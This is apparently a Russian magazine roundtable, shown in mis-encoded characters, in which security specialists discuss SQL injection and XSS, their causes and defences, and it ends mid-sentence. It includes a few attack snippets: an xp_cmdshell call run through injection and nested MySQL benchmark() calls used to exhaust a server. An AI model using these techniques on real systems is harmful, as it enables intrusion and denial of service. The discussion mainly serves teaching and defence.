M Y S Q L ?

Îòëè÷èå â íîâûõ îïåðàòîðàõ, êîòîðûå ïîÿ-
âèëèñü â 4-îé âåðñèè. Â òîì ÷èñëå îïåðàòîð

UNION, áëàãîäàðÿ êîòîðîìó ìîæíî îáúåäèíÿòü çàï-
ðîñû è ïîëó÷àòü äîñòóï êî âñåì òàáëèöàì ÁÄ ïîëü-
çîâàòåëÿ, ÷òî ñóùåñòâåííî îáëåã÷àåò æèçíü ïðîã-
ðàììèñòàì. Âçëîìùèêó æå ýòî äàåò äîïîëíèòåëü-
íóþ âîçìîæíîñòü âíåäðåíèÿ SQL Injection. Ïîñìîòðè
àðõèâ Bugtraq è óâèäèøü, ÷òî áîëüøèíñòâî íàéäåí-
íûõ îøèáîê òèïà SQL Injection îñíîâàíî íà èñïîëü-
çîâàíèè ýòîãî îïåðàòîðà. 

Ê À Ê Î É  Ñ Å Ð Â Å Ð  Á Ä  Í À Ä Å Æ Í Å Å ?

Ë Å Ã × Å  Ë È  Â Í Å Ä Ð È Ò Ü  S Q L I N J E C T I O N

Ä Ë ß M S S Q L S E R V E R ?  

3 - È É  Â Î Ï Ð Î Ñ  Á Ó Ä Å Ò  Ò À Ê Î É :  È Ì Å Å Ò

Ë È  Î Ò Í Î Ø Å Í È Å  S Q L  I N J E C T I O N

Ê Í À Ä Å Æ Í Î Ñ Ò È  Ñ Å Ð Â Å Ð À  È Ê À Ê Î É

Ñ Å Ð Â Å Ð  Á À Ç  Ä À Í Í Û Õ  Í À Ä Å Æ Í Å Å ?

Ë Å Ã × Å Ë È  Â Í Å Ä Ð È Ò Ü  S Q L I N J E C T I O N

Ê Î Í Ê Ð Å Ò Í Î  Ä Ë ß M S  S Q L  S E R V E R ?

SQL Injection íå èìååò îòíîøåíèÿ ê íàäåæ-
íîñòè ñåðâåðà ÁÄ, òàê êàê îñíîâíàÿ ïðîá-

ëåìà íå â ñàìîì ñåðâåðå, à â ñöåíàðèÿõ, ÷åðåç
îøèáêè â êîòîðûõ âíåäðÿåòñÿ SQL Injection. Íî ñòî-
èò çàìåòèòü, ÷òî ïîñëå óñïåøíîãî ïðèìåíåíèÿ
SQL Injection âîçìîæíîñòè ñåðâåðà ÁÄ èãðàþò âàæ-
íóþ ðîëü, òàê êàê îò ýòîãî çàâèñèò âûãîäà, êîòîðóþ
ìîæíî ïîëó÷èòü. Íàïðèìåð, ó MS SQL Server ìîæ-
íî âûçâàòü âñòðîåííóþ ïðîöåäóðó exec
master..xp_cmdshell 'dir /p', è, åñëè àäìèíèñòðàòîð

óïóñòèë ýòîò ìîìåíò èç âèäó, òû óâèäèøü ñîäåðæè-
ìîå ïàïêè, â êîòîðîé óñòàíîâëåí MS SQL Server. Ñ
ïîìîùüþ ýòîé ïðîöåäóðû ìîæíî ìíîãî ÷åãî íàäå-
ëàòü. Âñå çàâèñèò îò ïðàâ, ñ êîòîðûìè ðàáîòàåò MS
SQL Server. Åñëè îêàæåòñÿ, ÷òî ýòî ïðàâà «SYS-
TEM», òî ìîæíî «ïîðóòèòü» âåñü ñåðâåð.

Ì Î Æ Í Î Ë È  Ñ Ï Î Ì Î Ù Ü Þ

S Q L I N J E C T I O N  Ç À Ä Î Ñ È Ò Ü  Ñ Å Ð Â Å Ð ?

Äà, ïðè÷åì ñëîæíîãî â ýòîì íè÷åãî íåò.
Â MySQL åñòü ôóíêöèÿ BenchMark, êîòîðàÿ

ïðåäíàçíà÷åíà äëÿ âû÷èñëåíèÿ îïðåäåëåííîãî âû-
ðàæåíèÿ çàäàííîå êîëè÷åñòâî ðàç. Ñèíòàêñèñ ôóíê-
öèè ñëåäóþùèé: benchamrk(1000000, md5(current_-
time)). Âû÷èñëÿåòñÿ 100000 ðàç md5 õýø òåêóùåãî
âðåìåíè. Ýòî äîâîëüíî ðåñóðñîåìêàÿ îïåðàöèÿ, ïî-
ýòîìó îòíèìàåò ìíîãî ïðîöåññîðíîãî âðåìåíè. Òå-
ïåðü ïðåäñòàâü, ÷òî áóäåò, åñëè óâåëè÷èòü êîëè÷åñò-
âî âû÷èñëåíèé, à åùå ëó÷øå � ñäåëàòü ôóíêöèþ
benchmark âëîæåííîé. MySQL-ñåðâåð íà÷íåò àêòèâ-
íî ïîòðåáëÿòü ðåñóðñû ñèñòåìû, â ðåçóëüòàòå ÷åãî
íà÷íóòñÿ æóòêèå òîðìîçà, è, êàê ñëåäñòâèå, ñåðâåð
ïåðåñòàíåò óñïåâàòü îáðàáàòûâàòü çàïðîñû. Äëÿ óñ-
ïåøíîãî ïðîâåäåíèÿ ïîäîáíîé àòàêè íóæíî íàïè-
ñàòü ñöåíàðèé, êîòîðûé áóäåò ïîñòîÿííî ïîñûëàòü
ïîäîáíûå çàïðîñû.

Ê À Ê  Í À Õ Î Ä È Ò Ü  Â Î Ç Ì Î Æ Í Î Ñ Ò È

Â Í Å Ä Ð Å Í È ß  S Q L I N J E C T I O N ?

Å Ñ Ò Ü Ë È  Ê À Ê À ß - Í È Á Ó Ä Ü

Ë È Ò Å Ð À Ò Ó Ð À  Ï Î  Ý Ò Î É  Ò Å Ì Å ?

Äëÿ íà÷àëà ñòîèò íàó÷èòüñÿ ïðîãðàììèðî-
âàòü íà îäíîì èç ÿçûêîâ, èñïîëüçóåìûõ äëÿ

ðàçðàáîòêè web-ïðèëîæåíèé. Òîëüêî òàê òû ñìîæåøü
íàó÷èòüñÿ íàõîäèòü îøèáêè â ÷óæèõ ïðîåêòàõ. Ðåêî-
ìåíäóåòñÿ íà÷àòü ñ PHP. Ñåé÷àñ ýòîò ÿçûê î÷åíü ïî-
ïóëÿðåí è èñïîëüçóåòñÿ ïðàêòè÷åñêè âåçäå � íà÷è-
íàÿ îò äîìàøíèõ ñòðàíè÷åê è çàêàí÷èâàÿ ñåðüåçíû-
ìè ïîðòàëàìè. Åñëè íåò æåëàíèÿ çàìîðà÷èâàòüñÿ ñ
PHP, òî ó÷è ASP. Òîæå äîâîëüíî ïîïóëÿðíûé ÿçûê.
×òî êàñàåòñÿ êîíêðåòíûõ êíèã, òî â ñëó÷àå ñ PHP ðå-
êîìåíäóþ ïåðâûì äåëîì ïðî÷èòàòü êíèãó Ëàðè Óèëü-
ÿìà. Â íåé îïèñûâàåòñÿ ïðîãðàììèðîâàíèå íà PHP 4
ñ íóëÿ. Êíèãà íàïèñàíà ïðîñòûì ÿçûêîì. 

Çàòåì íåîáõîäèìî ðàçîáðàòüñÿ ñ ðàáîòîé
ñåðâåðîâ ÁÄ. Çíàÿ âñå âîçìîæíûå îïåðàòîðû
è ôóíêöèè, òû ñìîæåøü èñïîëüçîâàòü èõ ïî íàçíà-
÷åíèþ :). Ïî÷òè âñå êíèãè çàðóáåæíûõ àâòîðîâ ïî-
äîéäóò äëÿ íà÷èíàþùèõ � îíè íàïèñàíû ñî
ñâîéñòâåííîé åâðîïåéñêîé ïóíêòóàëüíîñòüþ (÷åãî
íå âñåãäà ñêàæåøü î íàøèõ) è ïî÷òè âñåãäà
âêëþ÷àþò â ñåáÿ áàçîâûå ñâåäåíèÿ.

Ïîñëå ýòîãî ðåêîìåíäóþ îáðàòèòü âíèìàíèå
íà êíèãè Ìèõàèëà Ôëåíîâà: «PHP ãëàçàìè õàêå-
ðà» è «Web-ñåðâåð ãëàçàìè õàêåðà» ïîìîãóò ðà-
çîáðàòüñÿ ñ èñïîëüçîâàíèåì ðàçíûõ óÿçâèìîñòåé
(â òîì ÷èñëå è SQL Injection) íà ïðàêòèêå. Â íèõ
ïðèâåäåíî î÷åíü ìíîãî ïðèìåðîâ, ïîýòîìó ÷èòàòü
èíòåðåñíî.
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ÂÀËÅÐÈß
ÊÎÌÈÑÑÀÐÎÂÀ
Èìååò ñòàòóñ Microsoft
Student Partner 
è ñåðòèôèêàòû
ñïåöèàëèñòà Microsoft
è ðàçðàáîò÷èêà ðåøåíèé
íà C# ïîä .NET

ÂÀËÅÐÈß ÊÊÎÌÈÑÑÀÐÎÂÀ: Ãëàâíîå â SQL Injection íå òî, ÷òî ýòà óÿçâè-
ìîñòü àêòèâíî ýêñïëóàòèðóåòñÿ â web-ïðèëîæåíèÿõ, à òî, ÷òî îíà ìîæåò áûòü
èñïîëüçîâàíà àáñîëþòíî âî âñåõ ïðèëîæåíèÿõ, íàïèñàííûõ íà ëþáûõ ÿçûêàõ
ïðîãðàììèðîâàíèÿ, â êîòîðûõ èñïîëüçîâàíû SQL-çàïðîñû (âåäü ïðàêòè÷å-
ñêè â êàæäûé èç íèõ ìîæíî âíåäðèòü îïàñíûå SQL-èíúåêöèè).
ÀÍÒÎÍ ÊÊÀÐÏÎÂ: Î÷åâèäíî, âåçäå, ãäå òðåáóåòñÿ ââîä äàííûõ îò ïîëüçîâà-
òåëÿ, à áàçû äàííûõ èñïîëüçóþòñÿ â êà÷åñòâå backend'à äëÿ õðàíåíèÿ èíôîð-
ìàöèè. Ýòî ìîæåò áûòü íå òîëüêî îíëàéí-ìàãàçèí èëè âåá-ôîðóì (õîòÿ ïî-
íÿòíî, ÷òî www ÿâëÿåòñÿ íàèáîëåå øèðîêîé îáëàñòüþ ïðèìåíåíèÿ SQL Injec-
tion). Ýòî ìîæåò áûòü ëþáîå ïðèëîæåíèå, êîòîðîå õðàíèò èíôîðìàöèþ â áàçå
äàííûõ è ïðåäîñòàâëÿåò èíòåðôåéñ äëÿ äîñòóïà ê íåé.
ÊÐÈÑ ÊÊÀÑÏÅÐÑÊÈ: Íàâåðíîå, âåçäå, ãäå ñòîèò SQL, îáðàáàòûâàþùèé
íå îòôèëüòðîâàííûå ïîëüçîâàòåëüñêèå çàïðîñû. Ìíîãèå ïðîãðàììû, ðàáî-
òàþùèå ñ áàçàìè äàííûõ, èñïîëüçóþò SQL. Êëèåíòñêîå ïðèëîæåíèå âçàèìî-
äåéñòâóåò ñ ïîëüçîâàòåëåì è ãåíåðèðóåò sql-çàïðîñû, ïîñûëàÿ èõ ñåðâåðó. Â
ïðàâèëüíî ñïðîåêòèðîâàííîé ñèñòåìå ðàçãðàíè÷åíèå äîñòóïà ê äàííûì îñó-
ùåñòâëÿåòñÿ íà ñåðâåðå. Êëèåíòà ýòî âîîáùå íå êàñàåòñÿ, � îí âïðàâå ñëàòü
ëþáûå çàïðîñû. Íî äàëåêî íå âñå ðàçðàáîò÷èêè ýòî ïîíèìàþò (èëè ðåàëèçóþò
äîëæíûì îáðàçîì). Â ðåçóëüòàòå ÷àñòü (èëè âñå) ïðîâåðêè íà íàëè÷èå ó ïîëü-
çîâàòåëÿ ïðàâ âûïîëíÿòü äàííóþ sql-îïåðàöèþ îñóùåñòâëÿþòñÿ íà êëèåíò-
ñêîé ñòîðîíå, âíóòðè ïðîãðàììû. Îáû÷íûé ïîëüçîâàòåëü, äåéñòâèòåëüíî, íå
ìîæåò îáîéòè çàùèòó, òàê êàê íàòàëêèâàåòñÿ íà èíòåðôåéñ, íî õàêåð ëåãêî íà-
ïðàâèò çàïðîñ ê sql-ñåðâåðó ïî Ñåòè è òîò ïîñëóøíî âûïîëíèò åãî ñî âñåìè
âûòåêàþùèìè îòñþäà ïîñëåäñòâèÿìè (à èíîãäà íèêàêîé Ñåòè âîîáùå íåò,
«sql-ñåðâåð» ïðåäñòàâëÿåò ñîáîé ëîêàëüíóþ ïðîãðàììó). Òåì íå ìåíåå, web-
èíòåðôåéñ ÿâëÿåòñÿ îäíèì èç ñàìûõ ïîïóëÿðíûõ ñïîñîáîâ âçàèìîäåéñòâèÿ ñ
áàçàìè äàííûõ (îñîáåííî óäàëåííûìè), è àêòóàëüíîñòü àòàê òèïà SQL Injec-
tion â îáîçðèìîì áóäóùåì ñíèæàòüñÿ íå áóäåò.

ÀÍÒÎÍ 
ÊÀÐÏÎÂ
Ñïåöèàëèñò â îáëàñòè
èíôîðìàöèîííîé
áåçîïàñíîñòè. Êðóã
ïðîôåññèîíàëüíûõ
èíòåðåñîâ: ñåòåâûå àòàêè,
áåçîïàñíîñòü UNIX-
ñèñòåì, áåçîïàñíîñòü
áåñïðîâîäíûõ ñåòåé

ÌÈÕÀÈË 
ÔËÅÍÎÂ

Ñîçäàòåëü ñàéòà
www.vr-online.ru, àâòîð
11 êíèã íà ðóññêîì 
è 4 íà àíãëèéñêîì ÿçûêå

ÊÐÈÑ 
ÊÀÑÏÅÐÑÊÈ
Êîìïüþòåðû ãðûçåò åùå
ñ òåõ äàâíèõ âðåìåí,
êîãäà Ïðàâåö-8Ä 
ñ÷èòàëñÿ êðóòîé ìàøèíîé,
à äèñêîâîä ñ ìîíèòîðîì
áûëè âåðõîì ìå÷òàíèé.
Îñâîèë êó÷ó ÿçûêîâ 
è îïåðàöèîííûõ ñèñòåì,
èç êîòîðûõ ðåàëüíî
èñïîëüçóåò W2K, à ëþáèò
FreeBSD 4.5

ÀËÅÊÑÀÍÄÐ
ÀÍÒÈÏÎÂ
Ðóêîâîäèòåëü ïðîåêòà,
àâòîð/ñîàâòîð/ðåäàêòîð
ìíîãî÷èñëåííûõ ñòàòåé
âåäóùåãî îòå÷åñòâåííîãî
ïîðòàëà, ïîñâÿùåííîãî
èíôîðìàöèîííîé
áåçîïàñíîñòè
SecurityLab.ru

Ï Ð Î Á Ë Å Ì Û  Ñ S Q L  I N J E C T I O N

Ï Î Ë Ó × È Ë È  Ø È Ð Î Ê Ó Þ  Î Ã Ë À Ñ Ê Ó

Á Ë À Ã Î Ä À Ð ß  Ó ß Ç Â È Ì Î Ñ Ò È  Ñ À É Ò Î Â ,

Ò À Ê  Ê À Ê  W E B �  Ì À Ñ Ñ Î Â Û É

Ï Ð Î Ä Ó Ê Ò .  Í Î  Ã Ä Å  Å Ù Å  Ì Î Æ Í Î

Â Ñ Ò Ð Å Ò È Ò Ü  S Q L I N J E C T I O N ?
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ÇÀÐÀÇÀ
Ðóêîâîäèòåëü ñëóæáû
ïîääåðæêè
ïîëüçîâàòåëåé äîâîëüíî
êðóïíîãî ISP. Õîááè �
ðàçðàáîòêà ïðîãðàììíîãî
îáåñïå÷åíèÿ, â ÷àñòíîñòè,
ïðîåêò 3proxy (www.secu-
rity.nnov.ru/soft/3proxy/)

ÂÀËÅÐÈß ÊÊÎÌÈÑÑÀÐÎÂÀ: Ñóùåñòâóåò íåñêîëüêî ìåòîäîâ áîðüáû
ñ SQL-èíúåêöèÿìè: èñïîëüçîâàíèå ðàçëè÷íûõ ôóíêöèé (êàê âñòðîåííûõ ñè-
ñòåìíûõ/ÿçûêà ïðîãðàììèðîâàíèÿ, òàê è ñîçäàííûõ ïðîãðàììèñòîì) äëÿ
ýêðàíèðîâàíèÿ ðàçëè÷íûõ «íåäîáðîêà÷åñòâåííûõ» ñèìâîëîâ â çàïðîñå; èñ-
ïîëüçîâàíèå ìåòîäà ïåðåáîðà, êîòîðûé ïîçâîëÿåò êðîìå ñèìâîëîâ óäàëÿòü è
ðàçíûå óïðàâëÿþùèå ñëîâà è ïîñëåäîâàòåëüíîñòè; èñïîëüçîâàíèå ñïåöèàëü-
íûõ ôóíêöèîíàëüíûõ «îáåðòîê», áåðóùèõ íà ñåáÿ âñþ «ãðÿçíóþ» ðàáîòó; èñ-
ïîëüçîâàíèå òèïèçèðîâàííûõ ïàðàìåòðîâ.
ÇÀÐÀÇÀ: Îñíîâíûå ìåòîäû áîðüáû ïðèìåðíî ñëåäóþùèå: èçáåãàòü èñïîëü-
çîâàíèÿ sql-çàïðîñîâ, èñïîëüçîâàòü âìåñòî íèõ õðàíèìûå ïðîöåäóðû è ïðåä-
ñòàâëåíèÿ; êîíòðîëèðîâàòü ëþáîé çàïðîñ ïîëüçîâàòåëÿ íà óðîâíå ïðîöåäóð
ïîëó÷åíèÿ äàííûõ (íàïðèìåð, ïðîöåäóðà ïîëó÷åíèÿ ïåðåìåííîé èç que-
ry_string); cîçäàâàòü ðîëè â áàçå äàííûõ, íàäåëåííûå ìèíèìàëüíûì íàáîðîì
ïîëíîìî÷èé, ÷òîáû äàæå èìåÿ ïîëíûé äîñòóï ê áàçå äàííûõ, ïîëüçîâàòåëü
íå ìîã ïðîèçâåñòè «âðåäíûõ» äåéñòâèé; ìîæíî íàçâàòü åùå è ñðåäñòâà
ôèëüòðàöèè çàïðîñîâ, ôàéðâîëû íà óðîâíå ïðèëîæåíèé (áàç äàííûõ), íî âñå
ýòî � «íåïðàâèëüíûå» ñðåäñòâà.
ÌÈÕÀÈË ÔÔËÅÍÎÂ: Ïðîâåðêà âñåõ ïàðàìåòðîâ, ÷åòêîå ðàçäåëåíèå ïðàâ äî-
ñòóïà è, æåëàòåëüíî, íåñêîëüêî óðîâíåé çàùèòû (íàïðèìåð, ìîäóëè áåçîïàñ-
íîñòè). Äîëæíî áûòü ðàçðåøåíî òîëüêî òî, ÷òî íåîáõîäèìî, à âñå îñòàëüíîå
íóæíî çàïðåùàòü. Íàïðèìåð, åñëè ïîëüçîâàòåëü íå äîëæåí âèäåòü îïðåäå-
ëåííûå òàáëèöû â áàçå äàííûõ, òî ó÷åòíàÿ çàïèñü, ïîä êîòîðîé âûïîëíÿþòñÿ
çàïðîñû äàííîãî ïîëüçîâàòåëÿ, íå äîëæíà èìåòü ïðàâ íà ýòè òàáëèöû. Îäíó
åäèíñòâåííóþ çàùèòó îáîéòè äîñòàòî÷íî ïðîñòî, à åñëè èñïîëüçóåòñÿ ñðàçó
íåñêîëüêî ìåòîäîâ, òî ñðàáîòàåò äðóãîé óðîâåíü áåçîïàñíîñòè.
ÊÐÈÑ ÊÊÀÑÏÅÐÑÊÈ: Ðàçãðàíè÷åíèå äîñòóïà ê äàííûì íà óðîâíå SQL-ñåðâå-
ðà. Íî ïðîáëåìà çäåñü â òîì, ÷òî ñ òî÷êè çðåíèÿ SQL-ñåðâåðà, îáðàáàòûâàþ-
ùåãî çàïðîñû web-ñåðâåðà, ïîä êîòîðûì «âðàùàåòñÿ» ñàéò, íàïèñàííûé íà
PHP èëè Perl'å, âñå çàïðîñû ðàâíîçíà÷íû, ïîñêîëüêó àâòîðèçàöèÿ ïîëüçîâà-
òåëåé (äàæå åñëè îíà è ïðåäóñìîòðåíà), êàê ïðàâèëî, îñóùåñòâëÿåòñÿ íà
PHP. Ïðîñòî â SQL-áàçå õðàíÿòñÿ ïîëüçîâàòåëè ñ ïàðîëÿìè, ïðîâåðÿåìûìè
PHP-ñêðèïòîì, à äëÿ SQL åñòü òîëüêî îäèí ïîëüçîâàòåëü � ñàì PHP-ñêðèïò.
Ïðè÷åì PHP � íå ñàìûé áåçîïàñíûé ÿçûê ïðîãðàììèðîâàíèÿ (êàê, âïðî÷åì,
è Perl). Îí äîïóñêàåò èíòåðïîëÿöèþ ñòðîê è âîîáùå ëþáèò ðàçâîäèòü ñàìî-
äåÿòåëüíîñòü. Íà Ñè íàïèñàòü áåçîïàñíûé ñàéò íàìíîãî ïðîùå, íî òóò óæå
âîçíèêàþò ïðîáëåìû èíîãî ðîäà: ïåðåíîñèìîñòü, ïåðåïîëíåíèå áóôåðîâ
(ôóíäàìåíòàëüíàÿ ïðîáëåìà Ñè) è ò.ï. Òàê ÷òî îñòàåòñÿ íàíèìàòü ãðàìîòíûõ
ïðîãðàììèñòîâ, èìåþùèõ ðåàëüíûé îïûò, è äàâàòü èì ðåàëüíûå ñðîêè äëÿ
âûïîëíåíèÿ çàêàçà, ïîñêîëüêó ïîäàâëÿþùåå áîëüøèíñòâî îøèáîê ñîâåðøà-
åòñÿ èç-çà íåâíèìàòåëüíîñòè, èçëèøíåé ñóåòëèâîñòè è íåðâîçíîñòè, âûçâàí-
íîé íàâèñàþùèì äåäëàéíîì.
ÀËÅÊÑÀÍÄÐ ÀÀÍÒÈÏÎÂ: Çàùèòà! Êàê íà óðîâíå êîäà, òàê è íà óðîâíå ñåðâå-
ðà. Ê ñîæàëåíèþ, ñïîñîáîâ ýêñïëóàòàöèè SQL-èíúåêöèè � îãðîìíîå ìíîæå-
ñòâî è îøèáàþòñÿ äàæå îïûòíûå ïðîãðàììèñòû. Ïîýòîìó âñåãäà íåîáõîäèìî
èñïîëüçîâàòü äîïîëíèòåëüíûå ñðåäñòâà çàùèòû íà ñåðâåðå � ìèíèìèçàöèÿ
ïðèâèëåãèé, web-IDS-ñèñòåìû (òèïà mod_security èëè secureIIS). 

ÂÀËÅÐÈß ÊÊÎÌÈÑÑÀÐÎÂÀ: Íà ìîé âçãëÿä, ïðîáëåìà XSS äîñòàòî÷íî
ñåðüåçíà è ðàñïðîñòðàíåíà, ÷òîáû íå ïðèíèìàòü åå âî âíèìàíèå. È ìàñøòàáû
ýòîé «ýïèäåìèè» çàñòàâëÿþò ãîâîðèòü îá XSS êàê î çíà÷èòåëüíîé óãðîçå, à íå
êàê îá î÷åðåäíîé PR-ïðèäóìêå.
ÇÀÐÀÇÀ: Îäíà èç ìîèõ ïåðâûõ ñòàòåé, ïîñâÿùåííûõ ïðîáëåìàì áåçîïàñíî-
ñòè, íàçûâàëàñü «Åùå ðàç î âçëîìàõ HTML-÷àòîâ» (www.security.nnov.ru/artic-
les/3APA3Ahtml.asp). Áûëà íàïèñàíà, åñëè íå îøèáàþñü, â 1998 ãîäó è ñîäåðæà-
ëà ðåàëüíûå ïðèìåðû ìåæñàéòîâîãî ñêðèïòèíãà. Òåðìèíà òàêîãî â òî âðåìÿ
åùå íå ñóùåñòâîâàëî, è âîîáùå, ýòà ïðîáëåìà äîñòàòî÷íî äîëãî íå ñ÷èòà-
ëàñü ïðîáëåìîé áåçîïàñíîñòè. ß ïîìíþ ïðîäîëæèòåëüíûé äèàëîã ñ Aleph
One (îñíîâàòåëü è ïåðâûé ìîäåðàòîð Bugtraq) íà ýòó òåìó, íî óáåäèòü åãî â
ðåàëüíîñòè óãðîçû ìíå òîãäà òàê è íå óäàëîñü. Òîëüêî â 2001 ãîäó îøèáêè
CSS/XSS íà÷àëè âîñïðèíèìàòüñÿ êàê ïðîáëåìû áåçîïàñíîñòè, è ïîÿâèëñÿ
ñàì òåðìèí «Cross-Site Scripting».
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ÌÈÕÀÈË ÔÔËÅÍÎÂ: Ñâåðõóãðîçîé ÿ áû ýòó àòàêó íå íàçâàë. Äà è SQL Injection òîæå íåëüçÿ îòíåñòè
ê ñâåðõóãðîçå. Âñå ýòî íåâíèìàòåëüíîñòü èëè ëàìåðñòâî ïðîãðàììèñòîâ. Åñëè ïåðâîå, òî ýòî íå ñòðàø-
íî, ïîòîìó ÷òî ïðîãðàììèñò, äîïóñòèâøèé îøèáêó, áûñòðî èñïðàâèò åå ñàì. À âîò ëàìåð, êîòîðûé íå õî-
÷åò ó÷èòüñÿ, ïîñòðàäàåò íàìíîãî ñèëüíåå. Ãëÿäÿ íà êîëè÷åñòâî äûðÿâûõ ñàéòîâ â èíòåðíåòå, ïîíèìà-
åøü, ÷òî êîëè÷åñòâî ïðîãðàììèñòîâ ñîêðàùàåòñÿ, à ëàìåðîâ � ðàñòåò.
ÀÍÒÎÍ ÊÊÀÐÏÎÂ: Ëþáàÿ ïðîáëåìà áåçîïàñíîñòè âîçíèêàåò ïîä âîçäåéñòâèåì ÷åëîâå÷åñêîãî ôàêòîðà.
Áåçîïàñíîñòü ñèñòåìû âî ìíîãîì îïðåäåëÿåòñÿ åå êà÷åñòâîì. Åñëè ãîâîðèòü î ïðîãðàììíûõ ñðåäñòâàõ,
òî ýòî êà÷åñòâî êîäà. Ïðîãðàììèñò íåäîñìîòðåë, íåäîäóìàë, ñîâåðøèë ïàðó èçâåñòíûõ îøèáîê � ýòî
ìîæåò áûòü êàê ïîôèãèçì, òàê è íèçêàÿ êâàëèôèêàöèÿ. Ó÷èòûâàÿ ðàñòóùóþ ïîïóëÿðíîñòü XSS-àòàê,
ÿ áû íå íàçâàë ýòî ñëàáûì ìåñòîì ïîôèãèñòîâ, âî âñÿêîì ñëó÷àå, òîãäà áû íàì ïðèøëîñü ïðèçíàòü, ÷òî
ïîôèãèñòîâ â ìèðå î÷åíü è î÷åíü ìíîãî :).
ÊÐÈÑ ÊÊÀÑÏÅÐÑÊÈ: XSS/Cross-Site Scripting ïîÿâèëñÿ, êîãäà Netscape äîáàâèëà â áðàóçåð ïîääåðæêó
JavaScript. À ýòî íå â÷åðà è íå ïîçàâ÷åðà, à ìíîãî ëåò íàçàä áûëî. È ñåé÷àñ áåç ñêðèïòîâûõ ÿçûêîâ íè-
êóäà. Ñòîèò òîëüêî îòêëþ÷èòü èõ ïîääåðæêó, êàê çíà÷èòåëüíàÿ ÷àñòü ñàéòîâ îòîáðàæàåòñÿ íåâåðíî èëè
âîîáùå ïåðåñòàåò ðàáîòàòü. À ìîäåëü (íå)áåçîïàñíîñòè âèðòóàëüíûõ ìàøèí äàâíî ñòàëà ïðèò÷åé
âî ÿçûöåõ, è åùå íè îäíîìó ïðîèçâîäèòåëþ íå óäàëîñü èçáåæàòü îøèáîê ðåàëèçàöèè. Â ëó÷øåì ñëó-
÷àå, çëîóìûøëåííèê ïîëó÷àåò äîñòóï ê cookies'àì (õðàíÿùèì ìàññó êîíôèäåíöèàëüíîé èíôîðìàöèè).
Â õóäøåì æå � ïîëíîñòüþ çàõâàòûâàåò óïðàâëåíèå óäàëåííîé ìàøèíîé. Ýòî âïîëíå ñåðüåçíàÿ óãðîçà,
ñ êîòîðîé íåîáõîäèìî ñ÷èòàòüñÿ.

ÂÀËÅÐÈß ÊÊÎÌÈÑÑÀÐÎÂÀ: Èç-çà áîëüøîé ðîäñòâåííîñòè àòàê SQL Injection è XSS îáùèå êîíöåïöèè
ìåòîäîâ áîðüáû ñ íèìè òàêæå î÷åíü ïîõîæè. Âñå òà æå ôèëüòðàöèÿ (âñòðîåííûìè ñðåäñòâàìè èëè ñîçäàí-
íûìè ñâîèìè ñèëàìè), èñïîëüçîâàíèå «ñòðîãèõ» èìåí è òàê äàëåå. È â äîïîëíåíèå� âêëþ÷àé ìîçãè :).
ÇÀÐÀÇÀ: Ê ñîæàëåíèþ, åäèíñòâåííûé äåéñòâåííûé ñïîñîá áîðüáû � ïîëíîñòüþ îòêàçàòüñÿ îò òîãî,
÷òîáû äàòü ïîëüçîâàòåëþ âîçìîæíîñòü èñïîëüçîâàòü ïðÿìî èëè êîñâåííî êàêèå-ëèáî òýãè. Íàïðèìåð,
ìîæíî ôèëüòðîâàòü ëþáûå HTML-òýãè íà óðîâíå ôóíêöèé ðàçáîðà çàïðîñà è ñëóæåáíûõ çàãîëîâêîâ.
Íî äàæå òàêîé ñïîñîá íå äàåò 100% ãàðàíòèè çàùèòû.
ÌÈÕÀÈË ÔÔËÅÍÎÂ: Íóæíî âíèìàòåëüíî ïèñàòü êîä è òåñòèðîâàòü âñå ïî íåñêîëüêó ðàç. Ëåò ïÿòü íà-
çàä äàæå â íàøåé ñòðàíå ðàçíûå ôèðìû äîñòàòî÷íî ÷àñòî îáðàùàëèñü ê ñïåöàì ïî áåçîïàñíîñòè äëÿ
òåñòèðîâàíèÿ ñâîèõ ñèñòåì. Ìíå ñàìîìó ïðèõîäèëîñü èíîãäà òåñòèðîâàòü. À çà ïîñëåäíèå äâà ãîäà ó
ìåíÿ áûë òîëüêî îäèí ïîäîáíûé çàêàç. Îäíàæäû ÿ íàøåë äûðó íà ñàéòå è ïîêàçàë åå âëàäåëüöó, ïî-
ñëå ýòîãî îí ïîïðîñèë ïðîòåñòèðîâàòü åùå îäèí åãî ñàéò. Ñåé÷àñ ÷àùå îáðàùàþòñÿ ñ ïðîñüáîé âçëî-
ìàòü, íî ÿ âçëîìàìè íå çàíèìàþñü. ß íå äóìàþ, ÷òî òîëüêî êî ìíå ñòàëè ìåíüøå îáðàùàòüñÿ. Ïÿòü
ëåò íàçàä õàêåðû äàæå ïûòàëèñü îòêðûâàòü ôèðìû ïî òåñòèðîâàíèþ áåçîïàñíîñòè. È â íà÷àëå áèç-
íåñ âðîäå ïîøåë, íî ïîòîì óìåð. Èëè õàêåðû âûïîëíÿëè ñâîè îáÿçàííîñòè ïëîõî, èëè çàêàç÷èêè íå
óâèäåëè ïðåèìóùåñòâ.

Òåñòèðîâàòü íóæíî è ñàéòû, è ïðîãðàììû. È ëó÷øå, åñëè ýòî áóäóò íåçàâèñèìûå ëþäè. Ñêîëüêî õà-
êåðîâ ñìîãëî áû íàïðàâèòü ñâîè óñèëèÿ â ìèðíîå ðóñëî! Îêîëî ãîäà íàçàä ìíå ïðåäëàãàëè òåñòèðîâàòü
áåçîïàñíîñòü â Agnitum è, õîòÿ ÿ îòêàçàëñÿ, îáùåíèå ñ ðåáÿòàìè ïîêàçàëî, ÷òî íå çðÿ Outpost Firewall �
îäèí èç ëó÷øèõ, ïîòîìó ÷òî ïîäõîä ïðàâèëüíûé. ß ñ óäîâîëüñòâèåì äîâåðþ áåçîïàñíîñòü ñâîåãî êîì-
ïüþòåðà ñåòåâîìó ýêðàíó, êîòîðûé òåñòèðóåòñÿ, áûñòðî ðàçâèâàåòñÿ è îòñëåæèâàåò òåíäåíöèè â ìèðå
áåçîïàñíîñòè. Åñëè áû âñå ïðîãðàììèñòû òàê ðàáîòàëè, òî êîëè÷åñòâî âçëîìîâ ñîêðàòèëîñü áû â ðàçû.
ÊÐÈÑ ÊÊÀÑÏÅÐÑÊÈ: Îòêëþ÷èòü ïîääåðæêó Java è Êî â áðàóçåðå, à åñëè ýòî íåâîçìîæíî, èñïîëüçî-
âàòü íàèáîëåå àêêóðàòíî íàïèñàííûå áðàçóåðû (íàïðèìåð, Îïåðó). IE äûðÿâ, êàê âåäðî áåç äíà. Â Ãî-
ðÿùåì Ëèñå â ïîñëåäíåå âðåìÿ íàáëþäàåòñÿ íåïðåêðàùàþùèéñÿ ðîñò óÿçâèìîñòåé, ïðåâðàòèâøèõ
